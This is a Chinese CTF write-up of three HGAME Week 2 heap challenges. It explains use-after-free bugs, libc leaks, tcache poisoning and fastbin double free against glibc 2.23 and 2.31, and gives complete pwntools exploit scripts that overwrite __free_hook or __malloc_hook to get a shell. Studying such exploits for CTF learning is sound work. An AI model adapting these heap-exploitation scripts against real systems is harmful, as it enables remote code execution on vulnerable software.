[HgameCtf Week2 ]三道堆题总结

editable_note

2.31的堆(加入了tcache double free的检测),保护全开

 程序功能:

1.add:最多申请16个堆块,size小于0xff,index自定

 2.free:堆块没有置0,存在uaf

 3 edit:正常的编辑,size根据之前填入的来确定

 4show:打印内容

思路:存在uaf可以考虑结合show打印出main arena+96的地址来算libc偏移,然后利用tcachebin attack劫持fd指针到free_hook进行改写。

具体步骤:

1.先申请八个堆块进行free,这样第八个堆块就会进入unsorted bin可以用来泄露libc。

for i in range(8):
    add(i,0x80)

for i in range(7):
    dele(i)

add(8,0x10)
dele(7)

show(7)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(main_arena))
libcbase=main_arena-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system'] +0x30
free=libcbase+libc.sym['__free_hook']
malloc_hook=libcbase+libc.sym['__malloc_hook']
print(hex(system))
print(hex(free))

此时show(7)就可以得到main_arena+96的地址了

 2.接下来就是利用tcache bin attack将tcache bin的fd改为free_hook实现任意地址写。

edit(6,p64(free)*2) 之后,可以看到fd已被改成free_hook了。

 接下来申请两个堆就能申请到free_hook上,然后改写为system,接着free一块写有/bin/sh的堆块即可getshell

edit(6,p64(free)*2)
gdb.attach(p)
add(9,0x80)
add(10,0x80)
edit(10,p64(system)*2)
add(11,0xa0)
edit(11,b'/bin/sh\x00'*4)
dele(11)

完整exp:

from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')


mode =0
if mode == 0:
     p=process('./vuln')
else:
    p = remote('week-2.hgame.lwsec.cn',30697)






def add(leng,color):
	p.sendlineafter('>','1')
	p.sendlineafter('Index:',str(leng))
	p.sendlineafter('Size:',str(color))
	
	
	
def dele(id1):
	p.sendlineafter('>','2')
	p.sendlineafter('Index:',str(id1))	


	
def show(id1):
	p.sendlineafter('>','4')
	p.sendlineafter('Index:',str(id1))	
	
def edit(id1,name):
	p.sendlineafter('>','3')
	p.sendlineafter('Index:',str(id1))	
	p.sendafter('Content:',name)




for i in range(8):
    add(i,0x80)

for i in range(7):
    dele(i)

add(8,0x10)
dele(7)

show(7)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(main_arena))
libcbase=main_arena-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system'] +0x30
free=libcbase+libc.sym['__free_hook']
malloc_hook=libcbase+libc.sym['__malloc_hook']
print(hex(system))
print(hex(free))

edit(6,p64(free)*2)
gdb.attach(p)
add(9,0x80)
add(10,0x80)
edit(10,p64(system)*2)
add(11,0xa0)
edit(11,b'/bin/sh\x00'*4)
dele(11)



p.interactive()

总结:这算是一道入门级别的2.31堆题了,功能较为齐全,漏洞的利用也比较清晰,只要稍微了解一下2.31堆的机制应该就能做出来。

这里有个问题,我在patch2.31-0ubuntu9.9时出现下面的错误,但是不太懂怎么搞。

fast_note

2.23的堆,Partial RELRO 题目叫fast_note可以考虑fastbin attack。

程序功能:

1add:申请指定index的堆,最多16个,会填入内容,size小于0xff

 2.free:经典uaf了,直接猜测时fastbin doublefree

3 show:泄露功能,可以用来泄露libc

 

思路:先利用unsortedbin attack 泄露地址,然后利用fastbin double free实现地址任意写。

具体步骤:

1.先申请了0x80的堆块可以实现main arena的泄露。

add(0,0x80,'aaaa')
add(1,0x80,'aaaa')
add(2,0x60,'aaaa')
add(3,0x60,'aaaa')
add(4,0xc0,'aaaa')
dele(1)
show(1)
addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libcbase=addr-88-0x10-libc.sym['__malloc_hook']
print(hex(addr))
free=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
malloc_hook=libcbase+libc.sym['__malloc_hook']
one=[0x45226,0x4527a,0xf03a4,0xf1247]

onegadget=libcbase+one[3]
print(hex(free))
print(hex(system))
print(hex(onegadget))

2.接下来利用double free实现地址任意写

dele(2)
dele(3)
dele(2)
add(5,0x60,p64(malloc_hook-0x23))

 可以看到fastbin里已经有指向malloc_hook-0x23了(这里-0x23处有7f可以用于绕过size检测)

接下来再申请三个堆就可以申请到我们想要的地址了。

 3.往malloc_hook中写入onegadget 然后free一个堆块两次就能get shell了

add(6,0x60,b'aaaa')
add(7,0x60,b'bbbb')
payload=b'\x00'*3+p64(0)*2+p64(onegadget)
add(9,0x60,payload)
dele(2)
dele(2)

完整exp:

from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./vuln')
libc=ELF('./libc-2.23.so')


mode =0
if mode == 0:
    p = process("./vuln")
else:
    p = remote('week-2.hgame.lwsec.cn',32569)





def add(leng,size,content):
	p.sendlineafter('>','1')
	p.sendlineafter('Index:',str(leng))
	p.sendlineafter('Size:',str(size))
	p.sendafter('Content:',content)
	
	
	
def dele(id1):
	p.sendlineafter('>','2')
	p.sendlineafter('Index:',str(id1))	


	
def show(id1):
	p.sendlineafter('>','3')
	p.sendlineafter('Index:',str(id1))	
	
def edit(id1,name):
	p.sendlineafter('>','3')
	p.sendlineafter('Index:',str(id1))	
	p.sendafter('Content:',name)


add(0,0x80,'aaaa')
add(1,0x80,'aaaa')
add(2,0x60,'aaaa')
add(3,0x60,'aaaa')
add(4,0xc0,'aaaa')
dele(1)
show(1)
addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

libcbase=addr-88-0x10-libc.sym['__malloc_hook']
print(hex(addr))
free=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
malloc_hook=libcbase+libc.sym['__malloc_hook']
one=[0x45226,0x4527a,0xf03a4,0xf1247]

onegadget=libcbase+one[3]
print(hex(free))
print(hex(system))
print(hex(onegadget))
dele(2)
dele(3)
dele(2)
add(5,0x60,p64(malloc_hook-0x23))
gdb.attach(p)
add(6,0x60,b'aaaa')

add(7,0x60,b'bbbb')
payload=b'\x00'*3+p64(0)*2+p64(onegadget)
add(9,0x60,payload)
dele(2)
dele(2)


'''
p.sendlineafter('>','1')
p.sendlineafter('Index:',str(10))
p.sendlineafter('Size:',str(0x60))

'''
p.interactive()

小结:此处改malloc_hook为onegadget后,不知道为什么再调用add函数不能getshel而free一个堆块两次却可以,有无大佬知道原因,求教教。

new_fast_note

又是2.31的保护全开的堆 

程序功能:

1.add:和上题差不多,这次最多有20个堆

 2 free:还是uaf,不多说了

 3.show

思路:

泄露libc的思路还是和前边一样,先填满tcache bin然后泄露unsorted bin中的fd指针。接下来再申请0x40的堆填满tcachebin (这里试了一下,如果add的index一样的话就不会多占一个page)然后在实现fastbin的doublefree,(其实2.31好像没有fastbin double free的检测了可以直接free两次,但是我给忘记了)再将tcachebin 中的堆块申请出去这样fastbin中的堆就会自动进入 tcache bin中。最后通过改fd指针实现地址任意写就行。

1.经典的libc泄露那一套,这里13号堆我用来放置top chunk合并(不知道有没有用)。

for i in range(8):
   add(i,0x80,'aaaa')
   
add(13,0xf0,'bbbb')
for i in range(8):   
   dele(i)

show(7)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
malloc_hook=addr-96-0x10
print(hex(malloc_hook))
libcbase=addr-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system']
free=libcbase+libc.sym['__free_hook']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]

2.接下来不断申请fastbin大小的堆再free掉,然后实现double free

for i in range(9):
   add(i,0x40,'aaaa')

for i in range(9):   
   dele(i)

dele(7)

可以看到double free已经成功

 3.接下来将0x40的tcache bin清空,这时我再申请0x40的堆块并写入free_hook,fastbin中的堆便会进入tcache中,并且fd也会改写成功 

for i in range(7):
   add(i,0x40,'aaaa')
   
add(7,0x40,p64(free))
add(8,0x40,'aaaa')
add(9,0x40,b'/bin/sh\x00')
add(10,0x40,p64(system))
dele(9)

这样我们再申请三个堆就能申请到free_hook中去

 完整exp:

from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')


mode =0
if mode == 0:
    p = process("./vuln")
else:
    p = remote('week-2.hgame.lwsec.cn',30329)





def add(leng,size,content):
	p.sendlineafter('>','1')
	p.sendlineafter('Index:',str(leng))
	p.sendlineafter('Size:',str(size))
	p.sendafter('Content:',content)
	
	
	
def dele(id1):
	p.sendlineafter('>','2')
	p.sendlineafter('Index:',str(id1))	


	
def show(id1):
	p.sendlineafter('>','3')
	p.sendlineafter('Index:',str(id1))	
	
def edit(id1,name):
	p.sendlineafter('>','3')
	p.sendlineafter('Index:',str(id1))	
	p.sendafter('Content:',name)


for i in range(8):
   add(i,0x80,'aaaa')
   
add(13,0xf0,'bbbb')
for i in range(8):   
   dele(i)

show(7)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
malloc_hook=addr-96-0x10
print(hex(malloc_hook))
libcbase=addr-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system']
free=libcbase+libc.sym['__free_hook']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]

for i in range(9):
   add(i,0x40,'aaaa')

for i in range(9):   
   dele(i)

dele(7)

for i in range(7):
   add(i,0x40,'aaaa')
   
add(7,0x40,p64(free))
gdb.attach(p)
add(8,0x40,'aaaa')
add(9,0x40,b'/bin/sh\x00')
add(10,0x40,p64(system))
dele(9)

'''
for i in range(9):
   add(i,0x40,'aaaa')
for i in range(9):   
   dele(i)
for i in range(9):
   add(i,0x40,'aaaa')
'''


#gdb.attach(p)

p.interactive()

关于2.31 double的利用我觉得这位师傅讲的挺好的,感兴趣的可以看看。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值